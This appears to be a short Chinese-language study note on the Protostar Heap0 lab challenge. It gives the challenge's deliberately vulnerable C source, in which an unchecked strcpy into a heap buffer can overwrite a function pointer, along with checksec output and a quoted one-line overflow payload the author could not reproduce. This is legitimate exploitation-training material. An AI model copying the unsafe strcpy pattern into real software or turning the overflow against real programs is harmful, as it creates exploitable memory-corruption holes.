Protostar Heap0
代码如下
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <stdio.h>
#include <sys/types.h>
struct data {
char name[64];
};
struct fp {
int (*fp)();
};
void winner()
{
printf("level passed\n");
}
void nowinner()
{
printf("level has not been passed\n");
}
int main(int argc, char **argv)
{
struct data *d;
struct fp *f;
d = malloc(sizeof(struct data));
f = malloc(sizeof(struct fp));
f->fp = nowinner;
printf("data is at %p, fp is at %p\n", d, f);
strcpy(d->name, argv[1]);
f->fp();
}
checksec检测
[*] '/Hackery/pod/modules/heap_overflow/protostart_heap0/heap0'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
目前我没有找到原来的文件。
漏洞分析
这道题目洞是很明确的,甚至来讲有些无聊。但是目前没有找到原版的文件,所以只能自己写代码,自己生成来调试。
但是,对于传递参数来讲,我却陷入了迷惑。
如何让传入的参数是byte,而不是我们一般传入的字符呢?
我不太理解答案的做法,因为我没有复现成功。
答案的做法如下:
./heap0 `python -c 'print "A"*72+"\x64\x84\x04\x08"'`